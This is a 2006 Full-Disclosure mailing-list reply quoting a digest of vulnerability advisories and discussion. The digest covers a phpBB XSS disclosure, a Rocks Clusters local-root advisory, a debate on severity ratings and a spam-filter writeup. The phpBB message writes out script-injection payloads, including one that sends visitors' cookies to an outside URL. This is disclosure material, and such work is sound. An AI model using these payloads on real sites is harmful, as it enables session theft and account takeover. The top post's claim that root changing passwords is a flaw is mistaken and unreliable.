Re: Full-Disclosure Digest, Vol 17, Issue 31

["Jhou Shalnevarkno" <jhou.shalnevarkno () gmail com>]

I've come to the realisation that plain text can be entered to change
the root password in Slackware Linux. It doesn't check for the
original password.. Surely this isn't right, perhaps its my bit of
confusion but I think that its a minor case of stupidity that even
though the root user has rwx access to all filesystems, this shouldn't
be the case with passwords.

Jhou.

On 16/07/06, full-disclosure-request () lists grok org uk
<full-disclosure-request () lists grok org uk> wrote:
> Send Full-Disclosure mailing list submissions to
>         full-disclosure () lists grok org uk
>
> To subscribe or unsubscribe via the World Wide Web, visit
>         https://lists.grok.org.uk/mailman/listinfo/full-disclosure
> or, via email, send a message with subject or body 'help' to
>         full-disclosure-request () lists grok org uk
>
> You can reach the person managing the list at
>         full-disclosure-owner () lists grok org uk
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Full-Disclosure digest..."
>
>
> Note to digest recipients - when replying to digest posts, please trim your
> post appropriately. Thank you.
>
>
> Today's Topics:
>
>    1. Re: Linux Privilege Escalation exploits ( Knud Erik H?jgaard )
>    2. phpBB Multiple HTML Injection Vulnerabilities (Renatrix Renatrix)
>    3. Re: Linux Privilege Escalation exploits (Tim)
>    4. Rocks Clusters <=4.1 local root (Xavier)
>    5. Re: Webmin / Usermin Arbitrary File Disclosure    Vulnerability
>       exploit (str0ke)
>    6. Several updates in MS PowerPoint 0-day Vulnerability FAQ at
>       SecuriTeam Blogs (Juha-Matti Laurio)
>    7. throwing the book at spam (lsi)
>
>
> ----------------------------------------------------------------------
>
> Message: 1
> Date: Sat, 15 Jul 2006 15:18:51 +0200
> From: " Knud Erik H?jgaard " <kokanin () gmail com>
> Subject: Re: [Full-disclosure] Linux Privilege Escalation exploits
> To: "David Taylor" <ltr () isc upenn edu>
> Cc: Full Disclosure <full-disclosure () lists grok org uk>
> Message-ID:
>         <a2e8ca0607150618g16219493m4af7945099e710ce () mail gmail com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> Until someone makes an official rating scale and everyone follows it
> it will suck as much as it does now. All the extremely highly
> superduper critical bla bla buzzwords are a load of crap in
> marketing-style proportions - after all it's all about remote command
> execution, remote data alteration, local priv escalation, file
> destruction and so on. People need to decide for themselved how
> critical it is. My 2krone.
>
> On 7/15/06, David Taylor <ltr () isc upenn edu> wrote:
> > I know various security research sites that release advisories on new
> > vulnerabilities have their own way they determine what is critical or not.
> > Privilege escalation exploits are usually local and require a local
> account
> > to exploit. So, it seems that security research sites label these as 'less
> > critical'.  But at the same time they will label a Mambo exploit that lets
> > you have access to a system as 'highly critical'.  If I can launch a Mambo
> > exploit against a system that has a vulnerable version of OS susceptible
> to
> > the priv esc isn't that now extremely critical?  With all of the exploits
> > out that the defacer kiddies use could a local priv esc exploit be
> > integrated into these?  If so then shouldn't these vulnerabilities be
> rated
> > higher than 'less critical'?
> >
> > I'm just thinking that people aren't looking at the big picture when they
> > rate these vulnerabilities.
> >
> > ==================================================
> > David Taylor //Sr. Information Security Specialist
> > University of Pennsylvania Information Security
> > Philadelphia PA USA
> > (215) 898-1236
> > http://www.upenn.edu/computing/security/
> > ==================================================
> >
> > Penn Information Security RSS feed
> > http://www.upenn.edu/computing/security/rss/rssfeed.xml
> > Add link to your favorite RSS reader
> >
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
>
>
> ------------------------------
>
> Message: 2
> Date: Sat, 15 Jul 2006 12:05:29 +0200
> From: "Renatrix Renatrix" <renatrix () gmail com>
> Subject: [Full-disclosure] phpBB Multiple HTML Injection
>         Vulnerabilities
> To: full-disclosure () lists grok org uk
> Message-ID:
>         <8feb6e840607150305x3324a403k124b075661984aa1 () mail gmail com>
> Content-Type: text/plain; charset="iso-8859-1"
>
> phpBB 2.0.21 XSS in administration
> **********************************
>
> //-- By Blwood [renatrix () gmail com]
> //-- [ http://www.blwood.net ]
> //--
>
> Style Admin
> -----------
>
> Management & Create a theme
>
> Lots of input are not properly sanitized like style_name, head_stylesheet,
> body_background, tr_color1_name (all the input in simple name)...
>
> We cand ofcourse inject html in this way : "><h1>Owned by Blwood :P</h1>
> but it's more interresting to inject javascript :) :
> "><body onload="alert('Owned by Blwood')"> => style_name
> "><script>alert('Owned by Blwood')</script> => head_stylesheet,
> body_background, ...
> When an admin will go in Style Administration he will be Owned. (inject in
> style_name)
> When an admin will edit a them he will be Owned.
>
>
> Group Administration
> --------------------
>
> Management
>
> Input group_description is not correctly sanitized we can inject js like
> this : "><script>alert('Owned by Blwood')</script> or
> </textare>"><script>alert('Owned by Blwood')</script>
> When an admin will go in Group administration he'll be owned. But what's
> more, the groups can be seen in groupcp.php
> by every visitors.
> An exploit could be :
> </textarea>"><script>
> document.location='http://127.0.0.1/cookie.php?'+document.cookie</script>
> or
> </textarea>"><script>document.location='http://site.com/ownedpage.html&apos;
> </script>
>
> Ranks
> -----
>
> Rank Administration
>
> Rank Title (input title) is not correctly sanitized, we can inject js like :
> "><script>alert('xss')</script>
> But what's interresting, if you give this rank to an user, the rank will
> appear in user's topics and the code will be executed when someone sees a
> topic :)
> Now you can inject what you want but maximum 40 caracters...
>
>
>
> Smilies
> -------
>
> Smiles Editing Utility
>
> Smiley Code : "><body onload="alert('Owned by Blwood')">
>
> Configuration
> -------------
>
> General Configuartion
>
> Inputs are not correctly sanitized : Ex : allow_html_tags  =>
> "><script>alert('Owned by Blwood')</script>
>
>
>
> [ Video ]
>
> http://www.blwood.net/advisory/phpbb2021xssadmin.rar
> -------------- next part --------------
> An HTML attachment was scrubbed...
> URL:
> http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060715/8520c701/attachment-0001.html
>
> ------------------------------
>
> Message: 3
> Date: Sat, 15 Jul 2006 11:19:19 -0400
> From: Tim <tim-security () sentinelchicken org>
> Subject: Re: [Full-disclosure] Linux Privilege Escalation exploits
> To: Knud Erik H?jgaard <kokanin () gmail com>
> Cc: Full Disclosure <full-disclosure () lists grok org uk>
> Message-ID: <20060715151919.GA3181 () sentinelchicken org>
> Content-Type: text/plain; charset=us-ascii
>
> > destruction and so on. People need to decide for themselved how
> > critical it is. My 2krone.
>
> Exactly.  Generic severity ratings are pointless.  Even if they were
> standardized, they would be of very little value since risk is highly
> dependent on an organizations deployment of the vulnerable software
> described.  Those releasing the ratings know nothing about how it is
> deployed, what is at risk by the deployment, and how far an attacker
> would have to go to obtain access to the vulnerable software.
>
> Often these ratings act against the recommendations of security
> administrators, because if management sees a "Low" or "Medium" severity,
> they don't regard it as something to act on quickly when it should be,
> or they'll burn resources on something rated "High" even though it may
> not impact the specific deployment in a severe way.
>
> It is better to provide concise, complete, and accurate information
> about vectors of attack and the potential results of those attacks to
> allow people to make their own decisions.
>
> tim
>
>
>
> ------------------------------
>
> Message: 4
> Date: Sat, 15 Jul 2006 14:24:39 -0400
> From: Xavier <compromise () gmail com>
> Subject: [Full-disclosure] Rocks Clusters <=4.1 local root
> To: full-disclosure () lists grok org uk
> Message-ID:
>         <116791eb0607151124q564d9945se063f5944342c1e5 () mail gmail com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> (direct link: http://xavier.tigerteam.se/advisories/TSEAD-200606-6.txt)
>
>               tigerteam.se security advisory - TSEAD-200606-6
>                               www.tigerteam.se
>
>      Advisory: Rocks Clusters <=4.1 local root vulnerabilities
>          Date: Wed Jul 5 15:52:59 EDT 2006
>   Application: mount-loop, umount-loop
> Vulnerability: Lack of filtering on arguments allow for privilege escalation
>     Reference: TSEAD-200606-6
>        Author: Xavier de Leon - xavier () tigerteam se
>
>
> SYNOPSIS
>
>     "Rocks is a complete "cluster on a CD" solution for x86 and IA64 Red Hat
>      Linux COTS clusters. Building a Rocks cluster does not require any
>      experience in clustering, yet a cluster architect will find a flexible
>      and programmatic way to redesign the entire software stack just below
> the
>      surface (appropriately hidden from the majority of users). Although
> Rocks
>      includes the tools expected from any clustering software stack (PBS,
>      Maui, GM support, Ganglia, etc), it is unique in its simplicity of
>      installation."[7]
>
>      Rocks Clusters <=4.1 is vulnerable to local root privilege escalation
>      due to improper validating of arguments in two of its suid and world
>      executable binaries, "mount-loop" and "umount-loop". Rocks Clusters has
>      an unofficial cluster count[6] of 883 with 41,535 CPUs and 198456.66
>      FLOPS.
>
>
> VENDER RESPONSE
>
>     May 31, 2006: Initial contact
>      Jun 1, 2006: Response, Disclosure, Verification of bug,
>                   redirected to another project Contact. Fixed
>                   in CVS[1]
>      Jun 9, 2006: Attempted contact after 8 days of silence
>     Jun 28, 2006: Project releases Rocks v4.2 Beta with fix
>     Jun 30, 2006: Attempted contact after 29 days of silence
>      Jul 5, 2006: No contact
>
>
> VULNERABILITIES
>
>     1) mount-loop:
>        mount-loop is a binary that is distributed with suid root and is
> world
>        executable.
>
>        The problem is the program does not properly filter args
>        to be used in a system() execution. An attacker could gain root from
>        command line. A link[2] to its source can be found below.
>
>        PoC[4] provided below.
>
>     2) umount-loop:
>        umount-loop is a binary that is distributed with suid root and is
> world
>        executable.
>
>        The problem is the program does not properly filter args
>        to be used in a system() execution. An attacker could gain root from
>        command line. A link[3] to its source can be found below.
>
>        PoC[5] provided below.
>
> DISCOVERY
>
>     Xavier de Leon <xavier () tigerteam se>
>     check out http://xavsec.blogspot.com for future sec releases on my part
>
>
> ABOUT TIGERTEAM.SE
>
>     tigerteam.se offers spearhead competence within the areas of
> vulnerability
>     assessment, penetration testing, security implementation, and advanced
>     ethical hacking training. tigerteam.se consists of Michel Blomgren -
>     company owner (M. Blomgren IT Security) and Xavier de Leon - freelancing
> IT
>     security consultant. Together we have worked for organizations in over
> 15
>     countries.
>
>
> REFERENCES
>
>     [1]:
> http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/nodes/rocks-dist.xml?rev=1.10&content-type=text/vnd.viewcvs-markup
>     [2]:
> http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/mount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup
>     [3]:
> http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/umount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup
>     [4]: http://xavier.tigerteam.se/exploits/rocksmountdirty.sh
>     [5]: http://xavier.tigerteam.se/exploits/rocksumountdirty.py
>     [6]: http://www.rocksclusters.org/rocks-register/
>     [7]: http://distrowatch.com/table.php?distribution=rockscluster
>
>
>
> ------------------------------
>
> Message: 5
> Date: Sat, 15 Jul 2006 15:29:22 -0500
> From: str0ke <str0ke () milw0rm com>
> Subject: [Full-disclosure] Re: Webmin / Usermin Arbitrary File
>         Disclosure      Vulnerability exploit
> To: " Jos? Parrella " <joseparrella () gmail com>
> Cc: Full Disclosure <full-disclosure () lists grok org uk>,
>         bugtraq () securityfocus com
> Message-ID:
>         <814b9d50607151329w157172bfr6581bf3463308abc () mail gmail com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> Jose,
>
> It works just fine.  Tested on 7 test-bed hosts without an issue.
>
> /str0ke
>
> On 7/10/06, Jos� Parrella <joseparrella () gmail com> wrote:
> > On 7/9/06, Alexander Hristov <joffer () gmail com> wrote:
> > > Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability exploit
> > > Link :
> http://securitydot.net/xpl/exploits/vulnerabilities/articles/1152/exploit.html
> > > Date :  2006-06-30
> > > Patch : update to version 1.290
> > > Advisory :
> http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
> >
> > Has anyone tested this? I've just tested this in Webmin 1.180 (Debian
> > 3.1, package revision number 3) and didn't work (I had to explicitly
> > allow the attacker IP to the miniserv.conf, which is not the default
> > configuration in Debian and, I think, in Webmin's original tar.gz)
> >
> > Jose
> >
>
>
>
> ------------------------------
>
> Message: 6
> Date: Sun, 16 Jul 2006 04:02:56 +0300 (EEST)
> From: Juha-Matti Laurio <juha-matti.laurio () netti fi>
> Subject: [Full-disclosure] Several updates in MS PowerPoint 0-day
>         Vulnerability FAQ at SecuriTeam Blogs
> To: bugtraq () securityfocus com, full-disclosure () lists grok org uk
> Message-ID:
>         <25847787.731221153011776892.JavaMail.juha-matti.laurio () netti fi>
> Content-Type: text/plain; Charset=iso-8859-1; Format=Flowed
>
> Several updates to Microsoft PowerPoint 0-day Vulnerability FAQ document has
> been done.
>
> New items added, related Trojan horse payload information updated etc.
>
> Link to the document is
> http://blogs.securiteam.com/?p=508
>
>
> - Juha-Matti
>
>
>
> ------------------------------
>
> Message: 7
> Date: Sun, 16 Jul 2006 11:33:32 +0100
> From: "lsi" <stuart () cyberdelix net>
> Subject: [Full-disclosure] throwing the book at spam
> To: full-disclosure () lists grok org uk
> Message-ID: <44BA240C.12130.55988FE () stuart cyberdelix net>
> Content-Type: text/plain; charset=US-ASCII
>
> http://www.cyberdelix.net/tech/kaboom.htm
>
>
> This page is to help you kill spammers, err, I mean spam, here's the
> blueprints to my silver bullet, which (when combined with my other
> filters) kills 99.75% of my spam. That 0.25% corresponds to about 1
> message per day (and it is the target of further work).
>
> where this filter fits
>
> This is the Filter of Last Resort. Reason being, it's very
> aggressive. You'll see why below. For this reason, this filter should
> be used last, after all the other filters. This way, this filter will
> only ever deal with the dregs, which means it's not so dangerous.
>
> As this is the Filter of Last Resort, it does NOT include filtering
> for all kinds of spam. Rather, it is designed to kill the spams that
> the other filters miss.
>
> It is dangerous. Most filters mark the spam and let it be. This
> filter kills it. No Deleted Items, no Recycle Bin, no undo, no 'are
> you sure'. Bang bang, dead dead. All that is left is a logfile entry.
>
> automatic whitelist maintenance
>
> To minimise the chances of a legit mail being terminated, this filter
> includes a "make whitelist" command. This command tells the filter to
> collect all email addresses from inside a number of other files (my
> address books), eliminate the duplicates and save the list to disk.
> This list is then used by the "move whitelisted" command, which moves
> any message containing whitelisted strings to a separate folder (the
> "whitebox").
>
> This filter also supports three other whitelists, these are
> good_senders, good_recipients and good_subjects. Any mail containing
> a whitelisted string in the correct location is automatically
> "whiteboxed" (moved to the whitebox).
>
> how it works
>
> This filter is actually built of 11 special-purpose filters. Any mail
> matching one of these tests is deleted. The filters are as follows:
>
> missing_addressee (missing 'To:' or 'for' field)
> missing_sender (missing 'From:' field)
> unlikely_chars (non-alphabetic subject or sender)
> unlikely_dates (message date too old, or in future)
> bounces (mail delivery failure, etc)
> blacklisted (bad_senders/bad_recipients/bad_subjects)
> gifs_attached (message has an attached GIF image)
> X-RBL (message contains X-RBL-Warning: headerline)
> X-DNS (message contains X-DNS-Warning: headerline)
> X-SVF (message contains X-Sender-Verification-Failed: headerline)
> analyse_received (Received: line invalid - see below)
>
> These tests are fairly self-explanatory, with the exception of the
> analyse_received test. This test analyses the significant Received:
> headerline inside each mail (there are usually several Received:
> lines, but only one is relevant for our purpose). Any mail with an
> invalid Received: line is deleted. The tests for validity are as
> follows:
>
> IP_missing
> IP_obfuscation
> IP_unreversible
> by-line_not_present
> sending_SMTP_server_unresolvable
> sending_hostname_not_provided
>
> If these tests all pass, the message is then tested for a mismatch
> between the sender's hostname and the hostname of the sender recorded
> by the receiver. Again, a fail results in the message being deleted.
>
> why it works
>
> Spammers try and get their messages through by hiding, disguising or
> armouring their spams. This filter spends most of its time looking
> for evidence of armour. It assumes that an attempt at armouring means
> the mail is spam.
>
> Note that this approach is very unforgiving toward badly configured,
> but legitimate systems, or systems using non-standard data formats.
> Another reason to run this filter last. Mistakes can be minimised by
> keeping the whitelists up-to-date, and encouraging all to run RFC-
> compliant nodes.
>
> And no, I'm not worried about posting my blueprints. Spammers are
> welcome to use less obfuscation - this will send them straight into
> the jaws of standard spam filters, but life's a bitch eh. They can
> use more obfuscation, be my guest cos I need some extra handles to
> kill that last 0.25%.
>
> caveats
>
> These notes are posted ahead of any software release, so as to
> maximise the damage they can cause.
>
> This is developmental software. It works, but only in the development
> environment. In particular, it supports Pegasus Mail ONLY.
>
> Addressbooks must be TEXT files, or they will not be processed by the
> whitelister.
>
> The whitebox must currently be processed manually.
>
> greetz
>
> Thanks have got to go to the twits out there sending me 1000+ spams a
> day. Without your contribution, I would never have had the sample
> size I needed.
>
> ---
> Stuart Udall
> stuart at () cyberdelix dot net - http://www.cyberdelix.net/
>
> ---
>  * Origin: lsi: revolution through evolution (192:168/0.2)
>
>
>
> ------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
> End of Full-Disclosure Digest, Vol 17, Issue 31
> ***********************************************
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/